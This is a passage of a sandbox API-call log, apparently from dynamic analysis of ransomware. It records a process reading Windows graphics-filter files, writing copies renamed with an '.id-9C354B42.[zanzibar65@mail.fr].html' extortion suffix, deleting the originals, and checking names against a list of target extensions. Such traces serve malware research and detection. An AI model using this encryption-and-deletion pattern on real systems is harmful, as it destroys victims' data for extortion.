shared\\grphflt\\jpegim32.flt.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0054.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0054.691] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.691] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0054.692] GetLastError () returned 0x0 [0054.692] ReadFile (in: hFile=0x1d8, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x3ad80, lpOverlapped=0x0) returned 1 [0054.697] WriteFile (in: hFile=0x17c, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0x3ad90, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x3ad90, lpOverlapped=0x0) returned 1 [0054.702] ReadFile (in: hFile=0x1d8, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.702] WriteFile (in: hFile=0x17c, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.702] SetEndOfFile (hFile=0x17c) returned 1 [0054.702] CloseHandle (hObject=0x17c) returned 1 [0054.702] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.702] SetEndOfFile (hFile=0x1d8) returned 1 [0054.704] CloseHandle (hObject=0x1d8) returned 1 [0054.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.705] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 1 [0054.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.705] lstrlenW (lpString=".doc") returned 4 [0054.705] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.705] lstrlenW (lpString=".docx") returned 5 [0054.705] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.705] lstrlenW (lpString=".pdf") returned 4 [0054.705] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.705] lstrlenW (lpString=".xls") returned 4 [0054.705] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.705] lstrlenW (lpString=".xlsx") returned 5 [0054.705] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.705] lstrlenW (lpString=".ppt") returned 4 [0054.705] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.705] lstrlenW (lpString=".zip") returned 4 [0054.705] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.706] lstrlenW (lpString=".rar") returned 4 [0054.706] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.706] lstrlenW (lpString=".bz2") returned 4 [0054.706] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.706] lstrlenW (lpString=".7z") returned 3 [0054.706] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.706] lstrlenW (lpString=".dbf") returned 4 [0054.706] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.706] lstrlenW (lpString=".1cd") returned 4 [0054.706] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.706] lstrlenW (lpString=".jpg") returned 4 [0054.706] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.706] lstrlenW (lpString=".doc") returned 4 [0054.706] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.706] lstrlenW (lpString=".docx") returned 5 [0054.706] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.706] lstrlenW (lpString=".pdf") returned 4 [0054.706] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.706] lstrlenW (lpString=".xls") returned 4 [0054.706] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.706] lstrlenW (lpString=".xlsx") returned 5 [0054.706] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.706] lstrlenW (lpString=".ppt") returned 4 [0054.706] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.706] lstrlenW (lpString=".zip") returned 4 [0054.706] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.707] lstrlenW (lpString=".rar") returned 4 [0054.707] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.707] lstrlenW (lpString=".bz2") returned 4 [0054.707] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.707] lstrlenW (lpString=".7z") returned 3 [0054.707] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.707] lstrlenW (lpString=".dbf") returned 4 [0054.707] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.707] lstrlenW (lpString=".1cd") returned 4 [0054.707] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0054.707] lstrlenW (lpString=".jpg") returned 4 [0054.707] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.707] lstrcmpiW (lpString1=".WPG", lpString2=".html") returned 1 [0054.707] lstrlenW (lpString="MS.WPG") returned 6 [0054.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0054.707] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1382) returned 1 [0054.708] CloseHandle (hObject=0x1d8) returned 1 [0054.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0054.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0054.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0054.708] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.708] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0054.708] GetLastError () returned 0x0 [0054.708] ReadFile (in: hFile=0x1d8, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x566, lpOverlapped=0x0) returned 1 [0054.712] WriteFile (in: hFile=0x17c, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x570, lpOverlapped=0x0) returned 1 [0054.712] ReadFile (in: hFile=0x1d8, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.712] WriteFile (in: hFile=0x17c, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0054.713] SetEndOfFile (hFile=0x17c) returned 1 [0054.713] CloseHandle (hObject=0x17c) returned 1 [0054.713] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.713] SetEndOfFile (hFile=0x1d8) returned 1 [0054.714] CloseHandle (hObject=0x1d8) returned 1 [0054.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.714] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 1 [0054.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0054.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0054.714] lstrlenW (lpString=".doc") returned 4 [0054.714] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0054.714] lstrlenW (lpString=".docx") returned 5 [0054.714] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0054.714] lstrlenW (lpString=".pdf") returned 4 [0054.714] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0054.714] lstrlenW (lpString=".xls") returned 4 [0054.714] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0054.714] lstrlenW (lpString=".xlsx") returned 5 [0054.714] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0054.714] lstrlenW (lpString=".ppt") returned 4 [0054.714] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0054.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0054.715] lstrlenW (lpString=".zip") returned 4 [0054.715] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0054.715] lstrlenW (lpString=".rar") returned 4 [0054.715] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0054.715] lstrlenW (lpString=".bz2") returned 4 [0054.715] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0054.715] lstrlenW (lpString=".7z") returned 3 [0054.715] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0054.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0054.715] lstrlenW (lpString=".dbf") returned 4 [0054.715] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0054.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0054.715] lstrlenW (lpString=".1cd") returned 4 [0054.715] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0054.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0054.715] lstrlenW (lpString=".jpg") returned 4 [0054.715] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0054.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0054.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0054.715] lstrlenW (lpString=".doc") returned 4 [0054.715] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0054.715] lstrlenW (lpString=".docx") returned 5 [0054.715] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0054.715] lstrlenW (lpString=".pdf") returned 4 [0054.715] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0054.715] lstrlenW (lpString=".xls") returned 4 [0054.715] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0054.715] lstrlenW (lpString=".xlsx") returned 5 [0054.715] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0054.715] lstrlenW (lpString=".ppt") returned 4 [0054.715] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0054.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0054.716] lstrlenW (lpString=".zip") returned 4 [0054.716] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0054.716] lstrlenW (lpString=".rar") returned 4 [0054.716] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0054.716] lstrlenW (lpString=".bz2") returned 4 [0054.716] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0054.716] lstrlenW (lpString=".7z") returned 3 [0054.716] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0054.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0054.716] lstrlenW (lpString=".dbf") returned 4 [0054.716] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0054.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0054.716] lstrlenW (lpString=".1cd") returned 4 [0054.716] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0054.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0054.716] lstrlenW (lpString=".jpg") returned 4 [0054.716] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0054.716] lstrcmpiW (lpString1=".FLT", lpString2=".html") returned -1 [0054.716] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0054.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0054.717] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=73080) returned 1 [0054.717] CloseHandle (hObject=0x1d8) returned 1 [0054.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0054.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0054.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0054.717] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.717] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0054.717] GetLastError () returned 0x0 [0054.717] ReadFile (in: hFile=0x1d8, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x11d78, lpOverlapped=0x0) returned 1 [0054.720] WriteFile (in: hFile=0x17c, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x11d80, lpOverlapped=0x0) returned 1 [0054.722] ReadFile (in: hFile=0x1d8, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.722] WriteFile (in: hFile=0x17c, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.722] SetEndOfFile (hFile=0x17c) returned 1 [0054.723] CloseHandle (hObject=0x17c) returned 1 [0054.723] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.723] SetEndOfFile (hFile=0x1d8) returned 1 [0054.724] CloseHandle (hObject=0x1d8) returned 1 [0054.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.724] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 1 [0054.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0054.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0054.724] lstrlenW (lpString=".doc") returned 4 [0054.724] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.724] lstrlenW (lpString=".docx") returned 5 [0054.724] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.725] lstrlenW (lpString=".pdf") returned 4 [0054.725] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.725] lstrlenW (lpString=".xls") returned 4 [0054.725] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.725] lstrlenW (lpString=".xlsx") returned 5 [0054.725] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.725] lstrlenW (lpString=".ppt") returned 4 [0054.725] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0054.725] lstrlenW (lpString=".zip") returned 4 [0054.725] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.725] lstrlenW (lpString=".rar") returned 4 [0054.725] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.725] lstrlenW (lpString=".bz2") returned 4 [0054.725] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.725] lstrlenW (lpString=".7z") returned 3 [0054.725] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0054.725] lstrlenW (lpString=".dbf") returned 4 [0054.725] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0054.725] lstrlenW (lpString=".1cd") returned 4 [0054.725] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0054.725] lstrlenW (lpString=".jpg") returned 4 [0054.725] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0054.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0054.725] lstrlenW (lpString=".doc") returned 4 [0054.725] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.725] lstrlenW (lpString=".docx") returned 5 [0054.725] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.726] lstrlenW (lpString=".pdf") returned 4 [0054.726] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.726] lstrlenW (lpString=".xls") returned 4 [0054.726] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.726] lstrlenW (lpString=".xlsx") returned 5 [0054.726] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.726] lstrlenW (lpString=".ppt") returned 4 [0054.726] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0054.726] lstrlenW (lpString=".zip") returned 4 [0054.726] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.726] lstrlenW (lpString=".rar") returned 4 [0054.726] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.726] lstrlenW (lpString=".bz2") returned 4 [0054.726] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.726] lstrlenW (lpString=".7z") returned 3 [0054.726] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0054.726] lstrlenW (lpString=".dbf") returned 4 [0054.726] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0054.726] lstrlenW (lpString=".1cd") returned 4 [0054.726] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0054.726] lstrlenW (lpString=".jpg") returned 4 [0054.726] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.726] lstrcmpiW (lpString1=".FLT", lpString2=".html") returned -1 [0054.727] lstrlenW (lpString="PNG32.FLT") returned 9 [0054.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0054.727] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=302976) returned 1 [0054.727] CloseHandle (hObject=0x1d8) returned 1 [0054.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0054.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0054.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0054.727] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.727] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, 